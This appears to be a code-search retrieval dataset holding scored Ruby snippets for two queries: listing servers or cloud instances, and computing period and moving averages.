{
"docid": "be4cb9447f694e2048d02fa69e14a932",
"score": "0.6011641",
"text": "def list\n unless @servers.empty?\n # displays a menu of available servers\n @servers.each_with_index do |server,i|\n puts \"#{(i+1).to_s.rjust(4)}. #{server['name']}\"\n end\n else\n puts \" There are no servers yet! Try `rush add`\\n\\n\"\n exit 0\n end\n end",
"title": ""
},
{
"docid": "b3a8cd52ea3b4cbc31295838da9a37b4",
"score": "0.60083336",
"text": "def servers(token)\n Discordrb::API.request(\n :users_me_guilds,\n nil,\n :get,\n \"#{Discordrb::API.api_base}/users/@me/guilds\",\n Authorization: token\n )\n end",
"title": ""
},
{
"docid": "ae972bdbaff4cf1fcdb84bce4c2ae04b",
"score": "0.60065365",
"text": "def servers; end",
"title": ""
},
{
"docid": "ae972bdbaff4cf1fcdb84bce4c2ae04b",
"score": "0.60065365",
"text": "def servers; end",
"title": ""
},
{
"docid": "c90e3450a676df4012f099752c03797e",
"score": "0.6006007",
"text": "def list_cloud_services\n request_path = '/services/hostedservices'\n request = ManagementHttpRequest.new(:get, request_path, nil)\n response = request.call\n Serialization.cloud_services_from_xml(response)\n end",
"title": ""
},
{
"docid": "c76de770d5962698c8bbbda7e7c3edbf",
"score": "0.6001139",
"text": "def provider_servers\n @page_title = _('Provider_servers')\n @page_icon = \"server.png\"\n @servers = Server.all\n end",
"title": ""
},
{
"docid": "48d9dc9ba20219c4e51dca82c77a6d78",
"score": "0.59834",
"text": "def db_servers\n data['instances'].select { |i| %w{ db_master db_slave solo }.include? i['role'] }.map { |i| i['public_hostname'] }.sort.join ','\n end",
"title": ""
},
{
"docid": "52b8ebbd3230f9f9ea396c25fbf757cc",
"score": "0.59725887",
"text": "def serversForCapRoles(roles)\n find_servers(:roles => roles).collect { |x| x.host }\nend",
"title": ""
},
{
"docid": "52b8ebbd3230f9f9ea396c25fbf757cc",
"score": "0.59725887",
"text": "def serversForCapRoles(roles)\n find_servers(:roles => roles).collect { |x| x.host }\nend",
"title": ""
},
{
"docid": "33e86e26e1285216339ff7f45b0f66b1",
"score": "0.59707946",
"text": "def vms(opts = {})\n client.servers\n end",
"title": ""
},
{
"docid": "7a76bf7c288efb5ad0ed176fb6e8633a",
"score": "0.59690505",
"text": "def provider_servers\n @page_title = _('Provider_servers')\n @page_icon = \"server.png\"\n @servers = Server.find(:all)\n end",
"title": ""
},
{
"docid": "83e3a42b5878e9602e147de4c95d4b51",
"score": "0.5953487",
"text": "def servers\n hosts + arbiters + passives\n end",
"title": ""
},
{
"docid": "191e2cdd53ec1a588a116850362e962e",
"score": "0.5951697",
"text": "def get_services()\n services = []\n for name in @schema.get_service_names()\n for version in @schema.get(name).keys()\n services.append({\"name\" => name, \"version\" => version})\n end\n end\n\n return services\n\tend",
"title": ""
},
{
"docid": "fe805fc63834ad2a29f3b4c680a78dfa",
"score": "0.5944846",
"text": "def get_instances()\n @client.describe_instances({:layer_id => @layer[:layer_id]})[:instances]\n end",
"title": ""
},
{
"docid": "9ae8e7075e2066454141d97b744eb2a7",
"score": "0.59448236",
"text": "def list_hosts\n VSphereAutomation::VCenter::HostApi.new(api_client).list.value\n end",
"title": ""
},
{
"docid": "3eb23b9a11b72b0c552608bc03eedf61",
"score": "0.59381837",
"text": "def get_flavors\n puts \"Getting flavor list\"\n flavors = @conn.list_flavors\n\n for flavor in flavors.body['flavors']\n puts flavor\n end\n\n return flavors.body['flavors'][0]\n end",
"title": ""
},
{
"docid": "9bee2db3303cf15a3b948b01bdefab98",
"score": "0.5933257",
"text": "def index\n @servers = compute.servers\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @servers }\n end\n end",
"title": ""
},
{
"docid": "f4ba1821092f3185b5ca1d224ad97c71",
"score": "0.59293026",
"text": "def dynamic_servers\n @dynamic_servers.inject([]) { |list, item| list.concat item }\n end",
"title": ""
},
{
"docid": "67736f4bd8010a2f8dd5cfc741c047b3",
"score": "0.59253025",
"text": "def app_servers\n data['instances'].select { |i| %w{ app_master app solo }.include? i['role'] }.map { |i| i['public_hostname'] }.sort.join ','\n end",
"title": ""
},
{
"docid": "1042b8d29bfb761a54353ba7bee9ddc1",
"score": "0.5917594",
"text": "def index\n @title = \"All Servers\"\n @servers = Server.fields(\"fqdn\", \"lastseen\").sort(:fqdn).all\n respond_with(@servers)\n end",
"title": ""
},
{
"docid": "df0a61348c7cb5c32266cbb5c0cda4e3",
"score": "0.5912322",
"text": "def index\n @servers = Server.all\n end",
"title": ""
},
{
"docid": "df0a61348c7cb5c32266cbb5c0cda4e3",
"score": "0.5912322",
"text": "def index\n @servers = Server.all\n end",
"title": ""
},
{
"docid": "df0a61348c7cb5c32266cbb5c0cda4e3",
"score": "0.5912322",
"text": "def index\n @servers = Server.all\n end",
"title": ""
},
{
"docid": "ccf810d2bbcb3ea4d70f0271b1fc982c",
"score": "0.5911055",
"text": "def get_servers_by_array(names)\n array_servers = []\n if names.size > 0\n names.each do |array_name|\n all_arrays = ::Ec2ServerArray.find_by(:nickname) { |n| n =~ /^#{array_name}/i }\n\n if all_arrays != nil and all_arrays.first != nil\n all_arrays.first.instances.each do |s|\n array_servers << s\n end\n end\n end\n end\n\n return(array_servers)\n end",
"title": ""
},
{
"docid": "05ee0d8403e89160e647656dcc3a9a97",
"score": "0.5907177",
"text": "def get_storage_providers\n get_url('volume')\n @stg_providers_list = []\n @stg_providers_print_list = []\n @stg_providers_id_list = []\n @volume_url = @resource_url\n @stg_providers = rest_get(\"#{@volume_url}/storage-providers/detail\", @token_id)\n @stg_providers_array = JSON.parse(@stg_providers)['storage_providers']\n @stg_providers_array.each do |stg|\n @stg_providers_list << stg['service']['host_display_name']\n @stg_providers_print_list << [stg['service']['host_display_name']]\n @stg_providers_id_list << stg['id']\n end\n end",
"title": ""
},
{
"docid": "0fd1d3368102d2cff51c76d42c0a221e",
"score": "0.58998644",
"text": "def migration_host_list\n servers(:db).select { |srv| srv.options[:primary] == true }.map { |x| x.to_s }\n end",
"title": ""
},
{
"docid": "add0163ff58e6ba9cb8d03678cfe5634",
"score": "0.58925873",
"text": "def list_cloud_services\n request_path = '/services/hostedservices'\n request = client.management_request(:get, request_path)\n response = request.call\n Serialization.cloud_services_from_xml(response)\n end",
"title": ""
},
{
"docid": "a93610d327139d6891257b9144aead6d",
"score": "0.58890736",
"text": "def servers\n @servers ||= find_servers_missing_gem\n end",
"title": ""
},
{
"docid": "696ebdaebaac0ef8851eba6a1c563865",
"score": "0.58767205",
"text": "def get_server_instances(results)\n results.each do |result|\n reservations = result.reservations\n reservations.each do |res|\n return res.instances\n end\n end\n end",
"title": ""
},
{
"docid": "c68af1636f4720998ea07a41dd25c7af",
"score": "0.58761734",
"text": "def lookup_frontend_servers(environment)\n cluster = []\n servers = chef_api_connect.search.query(:node, 'role:*frontend', start: 0)\n servers.rows.each do |item|\n item.each do |k, v|\n case k\n when 'name'\n @node_name = v\n when 'chef_environment'\n cluster << @node_name if v == environment\n end\n end\n end\n return cluster\n end",
"title": ""
},
{
"docid": "cc7a13042d006d4317d0252dc569a4a4",
"score": "0.58738637",
"text": "def list_snapshots(env, server_id)\n get_all_images(env, params: { server: server_id })\n end",
"title": ""
},
{
"docid": "6dd5450b982a13fe2794770d6d80ac4d",
"score": "0.5869777",
"text": "def all_servers\n\n if block_given? then\n @cs_conn.servers.each do |server|\n yield server\n end\n else\n @cs_conn.servers\n end\n\n end",
"title": ""
},
{
"docid": "6dd5450b982a13fe2794770d6d80ac4d",
"score": "0.5869777",
"text": "def all_servers\n\n if block_given? then\n @cs_conn.servers.each do |server|\n yield server\n end\n else\n @cs_conn.servers\n end\n\n end",
"title": ""
},
{
"docid": "01600c9bf238174ab01695febce6867f",
"score": "0.5844661",
"text": "def fog_test_server\n server = service.servers.find { |s| s.name == 'fog-test-server' }\n unless server\n image = service.images.find { |i| i.name == 'Ubuntu 12.04 x64 Server' }\n region = service.regions.find { |r| r.name == 'New York 1' }\n flavor = service.flavors.find { |r| r.name == '512MB' }\n server = service.servers.create :name => 'fog-test-server',\n :image_id => image.id,\n :region_id => region.id,\n :flavor_id => flavor.id\n # Wait for the server to come up\n begin\n server.wait_for(120) { server.reload rescue nil; server.ready? }\n rescue Fog::Errors::TimeoutError\n # Server bootstrap took more than 120 secs!\n end\n end\n server\nend",
"title": ""
},
{
"docid": "e1ec6f9c5c1a1a10cc241f1569280f61",
"score": "0.5840629",
"text": "def get_vms\n url = URI.parse(@endpoint+\"/compute\")\n req = Net::HTTP::Get.new(url.path)\n\n req.basic_auth @occiauth[0], @occiauth[1]\n\n res = CloudClient::http_start(url) {|http|\n http.request(req)\n }\n\n if CloudClient::is_error?(res)\n return res\n else\n return res.body\n end\n end",
"title": ""
},
{
"docid": "09582c5d2eafda93c13f02d1e75990f1",
"score": "0.5828027",
"text": "def directories\n @fog.directories\n end",
"title": ""
},
{
"docid": "2293a7b25bfe5b9fae465e3b4ac89742",
"score": "0.58199865",
"text": "def instances\n get_json(instances_endpoint)\n end",
"title": ""
}
] |
357546ca92ca131bec0da59043f17a09
|
Returns the average value for the last _num_periods_
|
[
{
"docid": "86df08993e599945bb248e9572868f70",
"score": "0.80902517",
"text": "def average( num_periods )\n total = 0\n curr = @idx\n num_periods.times do\n curr = prev_index( curr ) \n total += @periods[curr]\n end\n total / num_periods \n end",
"title": ""
}
] |
[
{
"docid": "816110e63bb324a33a74e5c6e80fcde3",
"score": "0.7896399",
"text": "def average_period\n @average_period ||= @periods.inject(&:+).to_f / num_pulses\n end",
"title": ""
},
{
"docid": "5c412c1c6cc2848e58abacc3cc108b04",
"score": "0.7072427",
"text": "def average_period_values(periods)\n period_cycles = []\n period_lengths = []\n\n last_period = nil\n periods.each do |period|\n unless last_period.nil?\n period_cycles.push (last_period.from - period.from).to_i\n end\n period_lengths.push (period.to - period.from).to_i\n last_period = period\n end\n\n if period_cycles.length > 0\n average_cycle = (period_cycles.sum / period_cycles.length.to_f).round\n else\n average_cycle = @default_cycle\n end\n average_length = (period_lengths.sum / period_lengths.length.to_f).round\n\n { average_cycle: average_cycle, average_length: average_length }\n end",
"title": ""
},
{
"docid": "1a153c2ceb4ab8221aa33c0c8094e641",
"score": "0.6263416",
"text": "def avg_for_recent_evals(i)\n scores = []\n eval_number = self.reverse_eval_number_set(i)\n this_eval = self.evaluations.where(\"eval_number = ?\", eval_number)\n for eval in this_eval \n scores << eval.score\n end\n average(scores) unless average(scores).nan?\n end",
"title": ""
},
{
"docid": "9cb4edc0076aff832ec7162466317f5b",
"score": "0.6230721",
"text": "def last_period\n @periods[prev_index( @idx )] \n end",
"title": ""
},
{
"docid": "07593e311f0b3675854de05ce4b28edd",
"score": "0.62202996",
"text": "def average(decimal_places = nil)\n if decimal_places.nil?\n return (count / MAX)/(count % MAX).to_f\n else\n return ((count / MAX)/(count % MAX).to_f).round(decimal_places)\n end\n end",
"title": ""
},
{
"docid": "3f5e75755cac83e4389e2eafd487d1aa",
"score": "0.62031895",
"text": "def poll_interval_average(count); end",
"title": ""
},
{
"docid": "da6ebb0b444856919192c3716b14fef5",
"score": "0.62031007",
"text": "def final_avg\n @wait_time.to_i / @avg_count.to_i # return average\n end",
"title": ""
},
{
"docid": "94b40ab80c8d7ff286ca68e00d32323c",
"score": "0.6167335",
"text": "def default_simple_average(data, period)\n YquotesSignalTools.average(data.slice(0...period))\n end",
"title": ""
},
{
"docid": "04be36bed87fc8dc4ab30f9031274401",
"score": "0.6093006",
"text": "def fetch_last_avg\n last_avg = moving_averages.order(:date).last.avg_closing_price\n end",
"title": ""
},
{
"docid": "40e53c5af9539ae0a3a5f9a721aaaba9",
"score": "0.6089956",
"text": "def averages\n @average_times ||= step_times.reduce([]) do |averages, (step, times)|\n averages.push [step, average(times)]\n end.freeze\n end",
"title": ""
},
{
"docid": "d54fb187c9ea39f5f40a87d6fb68d9c5",
"score": "0.6057077",
"text": "def val_avg\n (self.values.sum.to_f / self.length).round(1)\n end",
"title": ""
},
{
"docid": "ec74529425fe892a8370dbdb0bf8d7ca",
"score": "0.6023478",
"text": "def stat_avg\n stat_sum.to_f/length\n end",
"title": ""
},
{
"docid": "92f340ebc14c9d5a8472492f13a24a4a",
"score": "0.60187995",
"text": "def average!\n averaged = self.average\n @seconds = averaged.get(:seconds)\n @months = averaged.get(:months)\n self\n end",
"title": ""
},
{
"docid": "cc6c506b2e8c09cc187cc69e25eb6174",
"score": "0.59362936",
"text": "def average\n return nil if @numSamples < 1\n @sumSamples.to_f / @numSamples\n end",
"title": ""
},
{
"docid": "30f6f0ef7cc81e8e90e30b241e655a48",
"score": "0.59048945",
"text": "def get_data_sma(data, index, period, name)\n if data == nil or name == nil or period > index\n return 0.0\n end\n data_index = get_data_index_by_name(data, name)\n if data_index < 1\n return 0.0\n end\n j = 0\n avg = 0.0\n while period > j\n avg = (data_index > 5) ? data[index - j][5][data_index - 5] : data[index - j][data_index]\n j += 1\n end\n return avg / period\nend",
"title": ""
},
{
"docid": "3a914a15d0f4975f934e2463801b2a25",
"score": "0.5869019",
"text": "def average\n if @seconds > 0\n months = (@seconds / @@average_seconds[:month])\n seconds = @seconds - months.months.unaverage.get(:seconds)\n RelativeTime.new(\n :seconds => seconds,\n :months => months + @months\n )\n else\n self\n end\n end",
"title": ""
},
{
"docid": "9d4e834745c67b01e97270324fbef692",
"score": "0.5842052",
"text": "def avg\n return 0 if count.zero?\n p @values\n @values.inject(0) { |sum, v| sum + v[:ratio] } / @values.count\n end",
"title": ""
},
{
"docid": "3225de4f6f384b949cb13991257af20c",
"score": "0.58326375",
"text": "def evaluations_average\n evaluations = self.evaluations\n evals = evaluations.pluck(:eval)\n average = (evals.sum.to_f / evals.size).round(1)\n end",
"title": ""
},
{
"docid": "f26b928f92573133bdc5c36b98e9bc4c",
"score": "0.5815627",
"text": "def average\n if count > 0\n (self.end - self.start) * 1000 / self.count\n else\n 0\n end\n end",
"title": ""
},
{
"docid": "d4d680a7b733906aa98e6a07cb910a9a",
"score": "0.58121",
"text": "def fetch_periods( num )\n result = Array.new( num )\n i = @idx\n num.times do |j|\n i = prev_index( i )\n result[j] = @periods[i]\n end\n result\n end",
"title": ""
},
{
"docid": "0d22c651b4d47ad38cb305a6f16ee17e",
"score": "0.58119696",
"text": "def average\n # Returns the outcome of the average calculation\n return @numbers.sum / @numbers.length.to_f\n end",
"title": ""
},
{
"docid": "5e27fd92100074a6f882e45699ab7608",
"score": "0.57980746",
"text": "def exponential_moving_average(chart, length, options = {})\n data = options[:data] || :close\n Portfolio::Algorythms::SimpleMovingAverage.new(chart, [length]) \n attribute = \"ema_#{length}\".to_sym\n start = length\n ending = chart.ticks.length - 1\n chart.ticks[length-1].studies[attribute] = chart.ticks[length-1].send(\"sma_#{length}\".to_sym)\n chart.ticks[start..ending].each do |tick|\n price = tick.send(data)\n prev_ema = chart.ticks[chart.ticks.index(tick) - 1].send(attribute)\n tick.studies[attribute] = prev_ema + 2.0 / (length + 1.0) * (price - prev_ema)\n end\n end",
"title": ""
},
{
"docid": "c3fed54ef87248f5f0ab28f746bfbd2d",
"score": "0.57959336",
"text": "def new_avg(arr, newavg)\n temp = newavg * (arr.length + 1)\n arr.each { |x| temp -= x }\n raise DomainError if temp < 0\n\n temp.ceil\nend",
"title": ""
},
{
"docid": "c3fed54ef87248f5f0ab28f746bfbd2d",
"score": "0.57959336",
"text": "def new_avg(arr, newavg)\n temp = newavg * (arr.length + 1)\n arr.each { |x| temp -= x }\n raise DomainError if temp < 0\n\n temp.ceil\nend",
"title": ""
},
{
"docid": "fb2fe3a8385549b74d1f1a6e493e2403",
"score": "0.57482606",
"text": "def averages(arr)\n\taverages = []\n\treturn averages if arr.nil? || arr.empty?\n\n\tarr.each_with_index do |num, index| #[1, 3, 5, 1, -10]\n\t\taverages << ((num + arr[index + 1])/2.0)# (1 + 3)/2\n\t\tbreak if index == (arr.size - 2)\n\tend\n\treturn averages\nend",
"title": ""
},
{
"docid": "0a51d7b41e96dd784b1cb80820693f11",
"score": "0.56940126",
"text": "def calculate_average\n values = Statistic\n .where(report_name: 'completion_time')\n .where(date: @date - 8.days..@date - 1.day)\n .pluck(:value_1)\n values.average\n end",
"title": ""
},
{
"docid": "f32be2b2ad8163b448b853b22a835891",
"score": "0.56879574",
"text": "def period_sum_ema(data)\n raise if data.size <= period\n sum_emas = [YquotesSignalTools.sum(data[0...period])]\n data[(period..-1)].each do |today|\n sum_emas << (sum_emas.last - (sum_emas.last / period) + today)\n end\n sum_emas\n end",
"title": ""
},
{
"docid": "4a2faff0f516cae7043f819ac8c5b578",
"score": "0.5685545",
"text": "def moving_average(values)\n values.each_with_index.map do |value, idx|\n if idx == 0\n (value + values[idx+1]).fdiv(2)\n elsif idx == values.size - 1\n (values[idx-1] + value).fdiv(2)\n else\n (values[idx-1]+ value + values[idx+1]).fdiv(3)\n end\n end\nend",
"title": ""
},
{
"docid": "3f651d48203fcb1cccca0514e19b9f82",
"score": "0.5634281",
"text": "def avg\n avg = self.inject(0) {|sum, x| sum += x} / self.size.to_f\n avg.nan? ? 0.0 : avg # NaN is true when the float is not a valid one\n end",
"title": ""
},
{
"docid": "ebdc23e79b0d1825a7fcf9da5c9185f8",
"score": "0.5620839",
"text": "def average(arr)\n\nbase = 0\n\narr.map! { |num| base += num }\navg = arr.last.to_f / arr.size.to_f\navg\n\nend",
"title": ""
},
{
"docid": "bfa210b6c07948a31e1c8ae5f3304afc",
"score": "0.56034505",
"text": "def calculate_wilder_ema(previous, current)\n (previous * (period - 1) + current) / period\n end",
"title": ""
},
{
"docid": "cfda60db350079923976dc149fbf0c2f",
"score": "0.5594578",
"text": "def calculate_ema(previous, current)\n (current - previous) * (2.0 / (period + 1)) + previous\n end",
"title": ""
},
{
"docid": "639e50dfda4bda57989e61cdd1b9e583",
"score": "0.55786026",
"text": "def stat_multi_avg\n l = length.to_f\n stat_multi_sum.collect { |s| s/l }\n end",
"title": ""
},
{
"docid": "0a2a59bbdd8cea4871dc0aab462bc282",
"score": "0.55636585",
"text": "def average\n return 0 if empty?\n sum * 1.0 / length\n end",
"title": ""
},
{
"docid": "b981aa40631efec459101ee6b9dda931",
"score": "0.5559314",
"text": "def average\n @array.map(&:average).inject(:+)\n end",
"title": ""
},
{
"docid": "7235769cc718bfe54ea4df1bbb790a50",
"score": "0.5543473",
"text": "def average\n @average ||= total_value / attempts\n end",
"title": ""
},
{
"docid": "4ff10b29d4b9151986f0b0350fad1ac8",
"score": "0.55372703",
"text": "def average(arr = [0])\n arr = arr.map(&:to_f).delete_if { |x| x < -900 }\n arr.inject { |s, e| s + e }.to_f / arr.size\n end",
"title": ""
},
{
"docid": "d1d3d81b6b724061354368b8488bc086",
"score": "0.5536622",
"text": "def average(series)\n series.compact!\n return 0 if series.empty?\n\n series.inject(0.0) { |sum, el| sum + el } / series.size\n end",
"title": ""
},
{
"docid": "89963854f15dae4cbdc37567bf6ab68d",
"score": "0.552258",
"text": "def average\n self.sum / self.length.to_f\n end",
"title": ""
},
{
"docid": "6d694389865167090f96a689b6abb92d",
"score": "0.5512545",
"text": "def average\n return self.summ/self.length.to_f\n end",
"title": ""
},
{
"docid": "8e5318ea3235868cc13d93f7cacffa35",
"score": "0.5495116",
"text": "def average\n self.sum.fdiv(self.length) if !self.empty?\n end",
"title": ""
},
{
"docid": "81f0cffeb8a051ce4bec394b9794ce9c",
"score": "0.5494574",
"text": "def get_average_age_for_season(data, season)\n age_array =[]\n data[season].each do |participant_hash| # participant hash is an array\n age_array << participant_hash[\"age\"].to_i\n end\n # age_array.inject { |sum, i| avg = ((sum + i) / data[season].size) }\n (age_array.reduce(:+).to_f / data[season].size).round\n # the error was literally a rounding error\nend",
"title": ""
},
{
"docid": "55dfa9d917c8f82c005589f3c1024dd1",
"score": "0.549425",
"text": "def rate\n current_events.length / period.to_f\n end",
"title": ""
},
{
"docid": "76e37b7bb24b3dbd1a76a39f062e1709",
"score": "0.54864126",
"text": "def getavg array\n sum = 0\n array.each {|i| sum += i}\n puts sum/array.length\nend",
"title": ""
},
{
"docid": "1f0920bf8a48893c5628f095b6c542e3",
"score": "0.5486166",
"text": "def average\r\n return self.sum/self.length.to_f\r\n end",
"title": ""
},
{
"docid": "6bf50f4be1236928e4b3292c04f09635",
"score": "0.5477018",
"text": "def sma n\n result = (1..n-1).collect{0}\n (n-1..@close.length-1).each do |i|\n # compute average of the last `n` items\n result << @close[i-n+1..i].inject(:+)/n\n end\n return result\n end",
"title": ""
},
{
"docid": "e9b3ed39ec2e90a48b3e2cee23d81b4d",
"score": "0.54754037",
"text": "def calculate_average_abberation\n if abberations.empty?\n 0.0\n else\n abberations.inject(&:+).to_f / abberations.count\n end\n end",
"title": ""
},
{
"docid": "9c02423ee785c8dbab269013999dac8f",
"score": "0.5475271",
"text": "def average(arr)\n i = 0\n output = 0\n while i <= arr.length - 1\n output += arr[i]\n i += 1\n end\n output = output/arr.length\n return output\nend",
"title": ""
},
{
"docid": "6ec6c6146ea60d801789b0b6dffefeaf",
"score": "0.54742795",
"text": "def get_average(results)\n results.inject{ |sum, el| sum + el }.to_f / results.size\n end",
"title": ""
},
{
"docid": "593b662fe3e21054e3427387eb82abcb",
"score": "0.54680437",
"text": "def avg\n average\n end",
"title": ""
},
{
"docid": "34f4ccfca19281a88089cfafbb8bbbd7",
"score": "0.5466502",
"text": "def average(numbers)\n numbers.inject(0.0) { | sum, seconds | sum + seconds } / numbers.size\n end",
"title": ""
},
{
"docid": "1f447e3cf2ef8106b5ef53e3ee642883",
"score": "0.5457054",
"text": "def bucket_average_value(index)\n (bucket_lower_bound(index) + bucket_upper_bound(index)) / 2\n end",
"title": ""
},
{
"docid": "e93b06c8db1e63972b088396bdefec31",
"score": "0.5450936",
"text": "def average\n sum / length.to_f\n end",
"title": ""
},
{
"docid": "b6e5063b08abf4b70a80023e8cec2b5e",
"score": "0.54461056",
"text": "def average(arr)\n sum = 0\n a = arr.length-1\n while a != -1\n \n sum = sum += arr[a]\n a -= 1\n end\n sum / arr.length.to_i\nend",
"title": ""
},
{
"docid": "2fca308bb46a98fd224585409ed5abb7",
"score": "0.54446024",
"text": "def mean(series)\n series.inject(&:+) / series.length\n end",
"title": ""
},
{
"docid": "9a23f24bde97cc77986d2a0514138223",
"score": "0.5437388",
"text": "def average(values)\n sum = 0\n values.each do |value|\n sum = sum + value\n end\n return sum.to_f / values.length\nend",
"title": ""
},
{
"docid": "7952f1e62caf493cad8f3fdc5990a1d8",
"score": "0.5431621",
"text": "def average_array ( array )\n array.inject { | first_number, x | first_number + x } / array.length.to_f\nend",
"title": ""
},
{
"docid": "6d93184a221f857321eb53d64f113ca4",
"score": "0.5425484",
"text": "def average\n\t\treturn self.sum/self.length.to_f\n\tend",
"title": ""
},
{
"docid": "dab8052b5b5c699e2799a75ff92a96ae",
"score": "0.5424488",
"text": "def mean\n\t\tsum = @error_values.reduce(:+)\n\t\tavg = sum.to_f / @error_values.length\n\tend",
"title": ""
},
{
"docid": "e69b3c1493ed60a2d57a5c835b63dca1",
"score": "0.5422593",
"text": "def get_average\n means = []\n @other_opts.each do |opt_times|\n means << opt_times.inject { |sum, x| sum += x} / opt_times.length.to_f\n end\n\n average = means.inject { |sum, x| sum += x } / means.length\n all_times = @other_opts.flatten\n\n #std_dev = (all_times.inject { |sum, x| sum += (x - average)**2 } / all_times.length.to_f)**0.5\n var = (all_times.inject { |sum, x| sum += (x - average)**2 } / all_times.length.to_f)\n\n return average, var #std_dev\n end",
"title": ""
},
{
"docid": "186e393a736013b17054be4ef39c4e18",
"score": "0.54150903",
"text": "def mean\n\t\tprediction_number = @sample_length\n\t\terror_total = @difference_list.reduce{|total, difference| total + difference}\n\t\terror_total / prediction_number\n\tend",
"title": ""
},
{
"docid": "a39fff7ffcf86c6c4ee36a320206679f",
"score": "0.54140776",
"text": "def mean\n sum = 0\n pred_error.each{|e| sum += e}\n sum/pred_error.length.to_f\n end",
"title": ""
},
{
"docid": "9044ddad14f5ad1207f23c1b9a6913eb",
"score": "0.54086447",
"text": "def average(values)\n sum = values.inject(0){ |tmpsum,v| tmpsum + v.to_f }\n return sum / values.size\nend",
"title": ""
},
{
"docid": "d3d02b35a0f9679c89c278f912dc6c10",
"score": "0.54029685",
"text": "def avg_from_hourly_values(output_timeseries,target_date,source_unit = '',target_unit = '')\n\n array = hourly_values(output_timeseries,target_date,source_unit,target_unit).split(',')\n array.map! {|item| item.to_f}\n avg = array.reduce(0, :+)/array.size\n\n return avg\n\n end",
"title": ""
},
{
"docid": "d1bc2a672a8c0cd0823e33a75919fdc9",
"score": "0.5392167",
"text": "def min_max_avg arr\n #puts \"max value is \" + arr.max.to_s\n #puts \"min value is \" + arr.min.to_s\n total = arr.inject(0){|sum,x| sum + x }\n #puts \"average value is \" + (total/arr.length).to_s\n newarr = []\n newarr.push(arr.max)\n newarr.push(arr.min)\n newarr.push(total/arr.length)\nend",
"title": ""
},
{
"docid": "bafe4d8753726f61804bcd9836a1c357",
"score": "0.53852093",
"text": "def average_delay\n sql = %q[\n SELECT avg(dep_delay_new)\n FROM delays; \n ]\n result = database.exec(sql).entries\n result[0]['avg']\n end",
"title": ""
},
{
"docid": "2264d4afbf5b245f86c531c447e41e88",
"score": "0.538418",
"text": "def determine_average(data_series)\n\t\t\t# Xavg = Sum(Xi)/N \n\t\t\t# Need to use 1.0 to ensure floating point division\n\t\t\ttotal = 0\n\t\t\tdata_series.each do |x|\n\t\t\t\ttotal += x\n\t\t\tend\n\t\t\t# Use to_f to ensure floating point division\n\t\t\taverage = total.to_f/data_series.length\n\t\t\treturn average\n\t\tend",
"title": ""
},
{
"docid": "741665eb123e9f13e051154d51b4c97d",
"score": "0.5382001",
"text": "def average\n return self.sum / self.length.to_f\n end",
"title": ""
},
{
"docid": "3c1fd2eae4001892b5b6fca06b5dc5e5",
"score": "0.5381668",
"text": "def avg_exp\n results = 0\n Mechanic.all.each do |mechanic|\n mechanic.years_experience += results\n end\n (results/Mechanic.count)\n end",
"title": ""
},
{
"docid": "b192a18e420548b5b676c24c28f3fbe2",
"score": "0.5381612",
"text": "def get_average z\n z.each { |i| print (i + i) }\n \n # puts i/z.length\nend",
"title": ""
},
{
"docid": "408f78f7420d26e774d8e9282f0dcb14",
"score": "0.5381096",
"text": "def average\n time = Time.at(avg_as_f).utc.strftime('%H:%M:%S:%N')\n Duration.create(time, '%H:%M:%S:%L')\n end",
"title": ""
},
{
"docid": "fd23decb7d22d319af2516636c5eea7a",
"score": "0.53789735",
"text": "def get_average(scope_name = :is_male)\n result_count = @meeting.meeting_individual_results.send(scope_name.to_sym).has_points.count\n if result_count > 0\n standard_points_sum = @meeting.meeting_individual_results.send(scope_name.to_sym).has_points.sum(:standard_points)\n (standard_points_sum / result_count).round(2)\n else\n result_count\n end\n end",
"title": ""
},
{
"docid": "e7626ec7cbd3a6099411aee0e0019234",
"score": "0.5369338",
"text": "def find_max_average(nums, k)\n max_avg = nil\n \n nums.each_with_index do |n, idx|\n break if idx == nums.length - k + 1\n avg = nums[idx..idx+(k-1)].inject(:+) / k.to_f\n max_avg = avg if max_avg.nil? || avg > max_avg\n end\n max_avg\nend",
"title": ""
},
{
"docid": "be77ee9dee2d948a6deaab0577c793f3",
"score": "0.53691584",
"text": "def avg\n @results.reduce(:+).to_f / @results.size\n end",
"title": ""
},
{
"docid": "9b78d629c03486e3fb13482a64211c71",
"score": "0.5368461",
"text": "def average\n return self.sum/self.length.to_f\n end",
"title": ""
},
{
"docid": "9b78d629c03486e3fb13482a64211c71",
"score": "0.5368461",
"text": "def average\n return self.sum/self.length.to_f\n end",
"title": ""
},
{
"docid": "9b78d629c03486e3fb13482a64211c71",
"score": "0.5368461",
"text": "def average\n return self.sum/self.length.to_f\n end",
"title": ""
},
{
"docid": "9b78d629c03486e3fb13482a64211c71",
"score": "0.5368461",
"text": "def average\n return self.sum/self.length.to_f\n end",
"title": ""
},
{
"docid": "9b78d629c03486e3fb13482a64211c71",
"score": "0.5368461",
"text": "def average\n return self.sum/self.length.to_f\n end",
"title": ""
},
{
"docid": "1380f9190a9fbeff519401d721399b78",
"score": "0.5366361",
"text": "def average\n\t\treturn self.suma/self.length.to_f\n\tend",
"title": ""
},
{
"docid": "09ecb156eee8b8e9763228327d7cad56",
"score": "0.53605443",
"text": "def calculateAccumulatedAverageTime(task_results)\n accumulatedAverageTime = [0.0]\n task_results.each do |result|\n length = accumulatedAverageTime.length\n accumulatedAverageTime[length] = (accumulatedAverageTime[length-1] + result.time) / length\n end\n return accumulatedAverageTime\n end",
"title": ""
},
{
"docid": "0c2b0bbc658be878a43fdc11abdcfe9c",
"score": "0.5354691",
"text": "def get_avg(key, start_time, end_time, granularity = DEFAULT_STATS_GRANULARITY)\n data = get_stat(\"sum\", key, start_time, end_time, granularity)\n data.each do |e|\n e[:stat_type] = \"avg\"\n if e[:count] != 0\n e[:data] = (e[:data] * 1.0 / e[:count]).try(:round, PERCISION)\n else\n e[:data] = 0\n end\n\n end\n data\n end",
"title": ""
},
{
"docid": "c7c2f366a4f521d057717c3bb8341616",
"score": "0.535429",
"text": "def mean_average_precision\n @evalirators.reduce(0.0) {|avg,e| avg + (e.average_precision / @evalirators.size)}\n end",
"title": ""
},
{
"docid": "f747086a02208ef208fa89796035cc85",
"score": "0.5349839",
"text": "def mean()\r\n total_diff = 0\r\n data.each do |arr|\r\n predicted = arr[3].to_f\r\n actual = arr[2].to_f\r\n differential = (predicted - actual).abs\r\n total_diff += differential\r\n end\r\n return total_diff / data.length\r\n end",
"title": ""
},
{
"docid": "bd6ab7fbdf8fa4e5e4dc6fcc24222e63",
"score": "0.53445554",
